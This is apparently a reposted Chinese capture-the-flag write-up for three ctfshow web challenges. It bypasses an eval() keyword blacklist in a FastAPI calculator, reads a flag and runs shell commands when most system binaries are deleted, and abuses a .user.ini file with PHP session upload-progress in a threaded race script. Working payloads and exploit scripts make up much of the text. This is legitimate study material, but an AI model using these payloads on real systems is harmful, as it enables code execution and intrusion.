ctfshow原谅杯

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
简介: ctfshow原谅杯

fastapi2 for 阿狸

过滤名单

['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']

fastapi的题目,很熟悉的访问文档redoc和docs

安全的计算器v2(flag就在根目录,但我不相信你能得到她)

q=7*8
{"res":56,"err":false}
这里的SSTI不需要{}即可解析

clear()方法

youdontknow = ['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
print(youdontknow)
youdontknow.clear()
print(youdontknow)
['import', 'open', 'eval', 'exec', 'class', "'", '"', 'vars', 'str', 'chr', '%', '_', 'flag', 'in', '-', 'mro', '[', ']']
[]

查看当前的全局变量

post参数q=dir()

//print(eval('(dir())'))
{
"res": [
 "__name__",
 "__doc__",
 "__package__",
 "__loader__",
 "__spec__",
 "__annotations__",
 "__builtins__",
 "__file__",
 "__cached__",
 "Optional",
 "FastAPI",
 "Form",
 "uvicorn",
 "app",
 "hello",
 "youdontknow",
 "calc"
],
"err": false
}

q=youdontknow

{"res":["import","open","eval","exec","class","'","\"","vars","str","chr","%","_","flag","in","-","mro","[","]"],"err":false}

q=youdontknow.clear()

q=open("/flag").read()

即可拿到flag

也可以执行命令

q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()

后端逻辑

def calc(q: Optional[str] = Form(...)):
    try:
        for kiword in youdontknow:
            if kiword in q:
                return {"res": "hack out!", "err": False}
        return {"res": eval(q), "err": False}
    except:
        return {"res": "", "err": True}

原谅4

hint

老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行

你知道系统环境变量里的PATH是干什么的吗?

<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);
?xbx=ls /
发现根目录存在/flag,但是重定向和外带均失败
?xbx=ls /bin
//ls rm sh

sh脚本读取文件和访问

cat coleak.txt
coleak1
coleak2
coleak3

/bin/sh a

#!/bin/bash
cat ./coleak.txt | while read LINE; do
echo $LINE
done
#!/bin/bash
while read LINE; do
echo $LINE
done < ./coleak.txt
#!/bin/bash
exec < ./coleak.txt
while read LINE; do
echo $LINE
done
#!/bin/bash
while read LINE
do
echo $LINE
done < ./coleak.txt

payload1

这里用-e进行转义设置,\n换行,$表示原来的$

?xbx=echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag
?xbx=/bin/sh readflag

payload2

&需要编码为%26

重定向,一般来说1是正确输出,2是错误输出

我们在sh /flag 后面加上2>&1

代表将2(指的是错误输出)重定向到&1,这里&代表等价于,即2输出重定向到等价于1的位置

?xbx=sh /flag 2>%261

原谅6_web3

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=coleak,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

<?php
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

waf过滤了一堆的东西,但是没有过滤.user.ini

脚本如下

import io
import requests
import threading
sessid = 'coleak'
url = "http://599c98c3-9ed1-4837-80a2-5152e40ce1e2.challenge.ctf.show/"
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat flag.php');?>"},
                            files={'file': ('coleak.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
    while True:
        resp = session.get(url+"waf.php")
        if "coleak.txt" in resp.text:
            print(resp.text)
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        # 第一步上传.user.ini文件,将我们的session文件内容添加到默认头
        coleak = {
            "content": "auto_prepend_file=/tmp/sess_" + sessid
        }
        session.post(url + "?file=.user.ini", data=coleak)
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

附原脚本

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1:5555/test56.php', 
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, 
                            files={'file': ('tgao.txt',f)}, 
                            cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()


目录
相关文章
|
7月前
|
安全 Python
【漏洞复现】探索 Python 中原型链的利用与污染
在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。
|
安全 Linux 开发工具
Volatility3内存取证工具使用详解
Volatility3内存取证工具使用详解
6939 0
|
9月前
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
3569 0
|
安全 中间件 PHP
【2021摆烂杯】web
【2021摆烂杯】web
138 0
|
6月前
|
SQL 安全 关系型数据库
PostgreSQL SQL注入漏洞(CVE-2018-10915)--处理
【8月更文挑战第8天】漏洞描述:PostgreSQL是一款自由的对象关系型数据库管理系统,支持多种SQL标准及特性。存在SQL注入漏洞,源于应用未有效验证外部输入的SQL语句,允许攻击者执行非法命令。受影响版本包括10.5及更早版本等。解决方法为升级PostgreSQL
394 2
|
Unix Linux Go
Go 语言开发环境一键安装 | Linux版
Go 语言开发环境一键安装 | Linux版
244 0
|
4月前
|
数据库
sqlmap过滤连续空格的方法(一)
sqlmap过滤连续空格的方法(一)
|
Kubernetes 安全 Cloud Native
阿里云服务网格ASM助力实现零信任、强化应用服务安全性
阿里云服务网格ASM(https://www.aliyun.com/product/servicemesh)成为重要的云原生零信任体系落地载体之一, 将身份验证和授权从应用程序代码卸载到服务网格, 开箱即用、动态可配、更新策略更加容易且立即生效。在使用Kubernetes Network Policy实现三层网络安全控制之上, 服务网格ASM提供了包括对等身份和请求身份认证能力、Istio 授权策略以及更为精细化管理的基于OPA(Open Policy Agent)的策略控制能力。阿里云服务网格ASM提供的这些零信任安全能力, 帮助用户实现上述这些安全目标。
1424 0
阿里云服务网格ASM助力实现零信任、强化应用服务安全性
|
Shell PHP 数据安全/隐私保护
CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)
275 0
|
8月前
|
缓存 关系型数据库 MySQL
Thinkphp5技术交流分享个人博客网站源码
Thinkphp5技术交流分享个人博客网站源码
142 0

热门文章

最新文章